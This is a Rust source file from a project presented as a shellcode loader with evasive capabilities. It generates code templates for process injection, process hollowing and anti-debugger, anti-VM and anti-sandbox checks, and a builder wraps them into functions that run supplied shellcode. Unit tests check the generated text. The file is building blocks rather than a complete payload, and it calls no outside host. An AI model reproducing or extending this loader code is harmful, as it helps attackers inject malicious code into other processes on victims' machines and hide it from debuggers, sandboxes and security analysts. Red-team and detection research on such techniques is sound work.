myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

common.rs (14113B)

      1 use super::super::{process_helpers, windows_types};
      2 
      3 /// Common Windows API constants used across multiple techniques
      4 pub const COMMON_MEMORY_CONSTANTS: &str = r#"const MEM_COMMIT: u32 = 0x1000;
      5 const MEM_RESERVE: u32 = 0x2000;
      6 const PAGE_READWRITE: u32 = 0x4;
      7 const PAGE_EXECUTE_READ: u32 = 0x20;
      8 const PAGE_EXECUTE_READWRITE: u32 = 0x40;"#;
      9 
     10 /// Common process creation constants
     11 pub const COMMON_PROCESS_CONSTANTS: &str = r#"const CREATE_SUSPENDED: u32 = 0x4;
     12 const CREATE_NO_WINDOW: u32 = 0x8000000;"#;
     13 
     14 /// Common imports for local memory operations
     15 pub fn common_local_memory_imports() -> &'static str {
     16     "use std::ffi::c_void;"
     17 }
     18 
     19 /// Common Windows API function declarations for local memory operations
     20 /// These functions operate on the current process (VirtualAlloc, VirtualProtect, etc.)
     21 pub fn common_local_memory_externs() -> &'static str {
     22     r#"#[link(name = "kernel32")]
     23 extern "system" {
     24     fn VirtualAlloc(
     25         address: *mut c_void,
     26         size: usize,
     27         allocation_type: u32,
     28         protect: u32,
     29     ) -> *mut c_void;
     30 
     31     fn VirtualProtect(
     32         lp_address: *mut c_void,
     33         dw_size: usize,
     34         fl_new_protect: u32,
     35         lpfl_old_protect: *mut u32,
     36     ) -> i32;
     37 }"#
     38 }
     39 
     40 /// Common Windows API function declarations for process injection
     41 pub fn common_process_injection_externs() -> &'static str {
     42     r#"    fn VirtualAllocEx(
     43         process: *mut std::ffi::c_void,
     44         address: *const std::ffi::c_void,
     45         size: usize,
     46         allocation_type: u32,
     47         protect: u32,
     48     ) -> *mut std::ffi::c_void;
     49 
     50     fn VirtualProtectEx(
     51         process: *mut std::ffi::c_void,
     52         address: *const std::ffi::c_void,
     53         size: usize,
     54         new_protect: u32,
     55         old_protect: *mut u32,
     56     ) -> i32;
     57 
     58     fn WriteProcessMemory(
     59         process: *mut std::ffi::c_void,
     60         base_address: *const std::ffi::c_void,
     61         buffer: *const std::ffi::c_void,
     62         size: usize,
     63         number_of_bytes_written: *mut usize,
     64     ) -> i32;
     65 
     66     fn CreateProcessW(
     67         application_name: *const u16,
     68         command_line: *mut u16,
     69         process_attributes: *const std::ffi::c_void,
     70         thread_attributes: *const std::ffi::c_void,
     71         inherit_handles: i32,
     72         creation_flags: u32,
     73         environment: *const std::ffi::c_void,
     74         current_directory: *const u16,
     75         startup_info: *const StartupInfoW,
     76         process_information: *mut ProcessInformation,
     77     ) -> i32;"#
     78 }
     79 
     80 /// Extended kernel32 externs for process hollowing and other advanced techniques
     81 pub fn common_process_hollowing_externs() -> &'static str {
     82     r#"    fn ReadProcessMemory(
     83         process: *mut std::ffi::c_void,
     84         base_address: usize,
     85         buffer: *mut u8,
     86         size: usize,
     87         number_of_bytes_read: *mut usize,
     88     ) -> i32;
     89 
     90     fn ResumeThread(
     91         thread: *mut std::ffi::c_void,
     92     ) -> u32;"#
     93 }
     94 
     95 /// Common ntdll.dll function declarations
     96 pub fn common_ntdll_externs() -> &'static str {
     97     r#"    fn NtAllocateVirtualMemory(
     98         process_handle: usize,
     99         base_address: *mut usize,
    100         zero_bits: usize,
    101         region_size: *mut usize,
    102         allocation_type: u32,
    103         protect: u32,
    104     ) -> i32;
    105 
    106     fn NtWriteVirtualMemory(
    107         process_handle: usize,
    108         base_address: usize,
    109         buffer: *const std::ffi::c_void,
    110         number_of_bytes_to_write: usize,
    111         number_of_bytes_written: usize,
    112     ) -> i32;
    113 
    114     fn NtProtectVirtualMemory(
    115         process_handle: usize,
    116         base_address: *mut usize,
    117         region_size: *mut usize,
    118         new_protect: u32,
    119         old_protect: *mut u32,
    120     ) -> i32;
    121 
    122     fn NtCreateThreadEx(
    123         thread_handle: *mut usize,
    124         desired_access: u32,
    125         object_attributes: usize,
    126         process_handle: usize,
    127         start_routine: usize,
    128         argument: usize,
    129         create_flags: usize,
    130         zero_bits: usize,
    131         stack_size: usize,
    132         maximum_stack_size: usize,
    133         attribute_list: usize,
    134     ) -> i32;
    135 
    136     fn ZwQueryInformationProcess(
    137         process_handle: *mut std::ffi::c_void,
    138         process_information_class: u32,
    139         process_information: *mut ProcessBasicInformation,
    140         process_information_length: u32,
    141         return_length: *mut u32,
    142     ) -> i32;"#
    143 }
    144 
    145 /// Common thread management externs (kernel32)
    146 pub fn common_thread_management_externs() -> &'static str {
    147     r#"    fn WaitForSingleObject(
    148         handle: usize,
    149         milliseconds: u32,
    150     ) -> u32;"#
    151 }
    152 
    153 /// ProcessBasicInformation structure for ntdll queries
    154 pub fn process_basic_information_struct() -> &'static str {
    155     r#"#[repr(C)]
    156 struct ProcessBasicInformation {
    157     reserved1: usize,
    158     peb_address: usize,
    159     reserved2: usize,
    160     reserved3: usize,
    161     unique_pid: usize,
    162     more_reserved: usize,
    163 }"#
    164 }
    165 
    166 /// Common evasion externs for kernel32 (used in anti-VM and anti-debugger checks)
    167 pub fn common_evasion_kernel32_externs() -> &'static str {
    168     r#"    fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
    169     
    170     fn IsDebuggerPresent() -> i32;
    171     
    172     fn CheckRemoteDebuggerPresent(
    173         process: *mut std::ffi::c_void,
    174         present: *mut i32,
    175     ) -> i32;
    176     
    177     fn GetCurrentProcess() -> *mut std::ffi::c_void;
    178     
    179     fn GetCurrentThread() -> *mut std::ffi::c_void;
    180     
    181     fn GetThreadContext(
    182         thread: *mut std::ffi::c_void,
    183         context: *mut Context,
    184     ) -> i32;
    185     
    186     fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
    187     
    188     fn GetTickCount() -> u32;
    189     
    190     fn GetTickCount64() -> u64;"#
    191 }
    192 
    193 /// Common evasion externs for user32 (used in anti-sandbox checks)
    194 pub fn common_evasion_user32_externs() -> &'static str {
    195     r#"    fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;"#
    196 }
    197 
    198 /// Common evasion externs for ntdll (used in anti-debugger checks)
    199 pub fn common_evasion_ntdll_externs() -> &'static str {
    200     r#"    fn NtQueryInformationProcess(
    201         process_handle: *mut std::ffi::c_void,
    202         process_information_class: u32,
    203         process_information: *mut std::ffi::c_void,
    204         process_information_length: u32,
    205         return_length: *mut u32,
    206     ) -> i32;"#
    207 }
    208 
    209 /// Evasion-specific structures
    210 pub fn common_evasion_structures() -> &'static str {
    211     r#"#[repr(C)]
    212 struct MemoryStatusEx {
    213     length: u32,
    214     memory_load: u32,
    215     total_phys: u64,
    216     avail_phys: u64,
    217     total_page_file: u64,
    218     avail_page_file: u64,
    219     total_virtual: u64,
    220     avail_virtual: u64,
    221     avail_extended_virtual: u64,
    222 }
    223 
    224 #[repr(C)]
    225 struct LastInputInfo {
    226     size: u32,
    227     time: u32,
    228 }
    229 
    230 #[repr(C)]
    231 struct Context {
    232     context_flags: u32,
    233     dr0: usize,
    234     dr1: usize,
    235     dr2: usize,
    236     dr3: usize,
    237     dr6: usize,
    238     dr7: usize,
    239     _padding: [u8; 512],
    240 }"#
    241 }
    242 
    243 /// Common Windows structures for process creation
    244 ///
    245 /// This function now delegates to the centralized windows_types module.
    246 pub fn common_process_structures() -> String {
    247     windows_types::process_structures()
    248 }
    249 
    250 /// Common imports for process injection techniques
    251 ///
    252 /// This function now delegates to the centralized process_helpers module.
    253 pub fn common_process_injection_imports() -> &'static str {
    254     process_helpers::process_creation_imports()
    255 }
    256 
    257 /// Template builder for generating consistent technique code
    258 pub struct TechniqueTemplateBuilder {
    259     import: String,
    260     const_section: String,
    261     init_section: String,
    262     process_section: String,
    263 }
    264 
    265 impl TechniqueTemplateBuilder {
    266     pub fn new() -> Self {
    267         Self {
    268             import: String::new(),
    269             const_section: String::new(),
    270             init_section: String::new(),
    271             process_section: String::new(),
    272         }
    273     }
    274 
    275     pub fn with_import(mut self, import: String) -> Self {
    276         self.import = import;
    277         self
    278     }
    279 
    280     pub fn with_const(mut self, const_section: String) -> Self {
    281         self.const_section = const_section;
    282         self
    283     }
    284 
    285     pub fn with_init(mut self, init_section: String) -> Self {
    286         self.init_section = init_section;
    287         self
    288     }
    289 
    290     pub fn with_process(mut self, process_section: String) -> Self {
    291         self.process_section = process_section;
    292         self
    293     }
    294 
    295     pub fn build(self, function_name: &str) -> String {
    296         format!(
    297             r#"
    298 {}
    299 
    300 {}
    301 
    302 {}
    303 
    304 fn {}(shellcode: &[u8]) {{
    305 {}
    306 }}
    307 "#,
    308             self.import, self.const_section, self.init_section, function_name, self.process_section
    309         )
    310     }
    311 }
    312 
    313 impl Default for TechniqueTemplateBuilder {
    314     fn default() -> Self {
    315         Self::new()
    316     }
    317 }
    318 
    319 #[cfg(test)]
    320 pub mod test_helpers {
    321     /// Assert that the code contains required imports
    322     #[allow(dead_code)]
    323     pub fn assert_contains_imports(code: &str, imports: &[&str]) {
    324         for import in imports {
    325             assert!(
    326                 code.contains(import),
    327                 "Code should contain import: {}",
    328                 import
    329             );
    330         }
    331     }
    332 
    333     /// Assert that the code contains extern function declarations
    334     #[allow(dead_code)]
    335     pub fn assert_contains_extern_functions(code: &str, functions: &[&str]) {
    336         for function in functions {
    337             assert!(
    338                 code.contains(function),
    339                 "Code should contain extern function: {}",
    340                 function
    341             );
    342         }
    343     }
    344 
    345     /// Assert that the code contains error handling
    346     #[allow(dead_code)]
    347     pub fn assert_has_error_handling(code: &str) {
    348         assert!(
    349             code.contains("panic"),
    350             "Code should contain error handling (panic)"
    351         );
    352     }
    353 
    354     /// Assert that the code contains memory constants
    355     #[allow(dead_code)]
    356     pub fn assert_contains_memory_constants(code: &str) {
    357         let constants = ["MEM_COMMIT", "MEM_RESERVE"];
    358         for constant in &constants {
    359             assert!(
    360                 code.contains(constant),
    361                 "Code should contain constant: {}",
    362                 constant
    363             );
    364         }
    365     }
    366 
    367     /// Assert that the code contains a function with the given name
    368     #[allow(dead_code)]
    369     pub fn assert_contains_function(code: &str, function_name: &str) {
    370         assert!(
    371             code.contains(&format!("fn {}", function_name)),
    372             "Code should contain function: {}",
    373             function_name
    374         );
    375     }
    376 
    377     /// Assert that the code contains Windows API extern declarations
    378     #[allow(dead_code)]
    379     pub fn assert_contains_windows_api_externs(code: &str, apis: &[&str]) {
    380         for api in apis {
    381             assert!(
    382                 code.contains(api),
    383                 "Code should contain Windows API: {}",
    384                 api
    385             );
    386         }
    387     }
    388 }
    389 
    390 #[cfg(test)]
    391 mod integration_tests {
    392     use super::*;
    393 
    394     #[test]
    395     fn test_common_process_structures_uses_windows_types() {
    396         let code = common_process_structures();
    397         assert!(code.contains("struct StartupInfoW"));
    398         assert!(code.contains("struct ProcessInformation"));
    399     }
    400 
    401     #[test]
    402     fn test_common_imports_match_process_helpers() {
    403         let common_imports = common_process_injection_imports();
    404         let helper_imports = process_helpers::process_creation_imports();
    405         assert_eq!(common_imports, helper_imports);
    406     }
    407 
    408     #[test]
    409     fn test_template_builder_works_with_new_modules() {
    410         let builder = TechniqueTemplateBuilder::new()
    411             .with_import(common_process_injection_imports().to_string())
    412             .with_const(COMMON_MEMORY_CONSTANTS.to_string())
    413             .with_init("// test init".to_string())
    414             .with_process("// test process".to_string())
    415             .build("test_fn");
    416 
    417         assert!(builder.contains("use std::ptr"));
    418         assert!(builder.contains("MEM_COMMIT"));
    419         assert!(builder.contains("test_fn"));
    420     }
    421 
    422     #[test]
    423     fn test_common_process_hollowing_externs() {
    424         let code = common_process_hollowing_externs();
    425         assert!(code.contains("ReadProcessMemory"));
    426         assert!(code.contains("ResumeThread"));
    427     }
    428 
    429     #[test]
    430     fn test_common_ntdll_externs() {
    431         let code = common_ntdll_externs();
    432         assert!(code.contains("NtAllocateVirtualMemory"));
    433         assert!(code.contains("NtWriteVirtualMemory"));
    434         assert!(code.contains("NtProtectVirtualMemory"));
    435         assert!(code.contains("NtCreateThreadEx"));
    436         assert!(code.contains("ZwQueryInformationProcess"));
    437     }
    438 
    439     #[test]
    440     fn test_common_thread_management_externs() {
    441         let code = common_thread_management_externs();
    442         assert!(code.contains("WaitForSingleObject"));
    443     }
    444 
    445     #[test]
    446     fn test_process_basic_information_struct() {
    447         let code = process_basic_information_struct();
    448         assert!(code.contains("struct ProcessBasicInformation"));
    449         assert!(code.contains("peb_address"));
    450         assert!(code.contains("unique_pid"));
    451     }
    452 
    453     #[test]
    454     fn test_common_evasion_kernel32_externs() {
    455         let code = common_evasion_kernel32_externs();
    456         assert!(code.contains("GetModuleHandleA"));
    457         assert!(code.contains("IsDebuggerPresent"));
    458         assert!(code.contains("CheckRemoteDebuggerPresent"));
    459         assert!(code.contains("GetCurrentProcess"));
    460         assert!(code.contains("GetCurrentThread"));
    461         assert!(code.contains("GetThreadContext"));
    462         assert!(code.contains("GlobalMemoryStatusEx"));
    463         assert!(code.contains("GetTickCount"));
    464         assert!(code.contains("GetTickCount64"));
    465     }
    466 
    467     #[test]
    468     fn test_common_evasion_user32_externs() {
    469         let code = common_evasion_user32_externs();
    470         assert!(code.contains("GetLastInputInfo"));
    471     }
    472 
    473     #[test]
    474     fn test_common_evasion_ntdll_externs() {
    475         let code = common_evasion_ntdll_externs();
    476         assert!(code.contains("NtQueryInformationProcess"));
    477     }
    478 
    479     #[test]
    480     fn test_common_evasion_structures() {
    481         let code = common_evasion_structures();
    482         assert!(code.contains("struct MemoryStatusEx"));
    483         assert!(code.contains("struct LastInputInfo"));
    484         assert!(code.contains("struct Context"));
    485         assert!(code.contains("dr0"));
    486         assert!(code.contains("dr7"));
    487     }
    488 }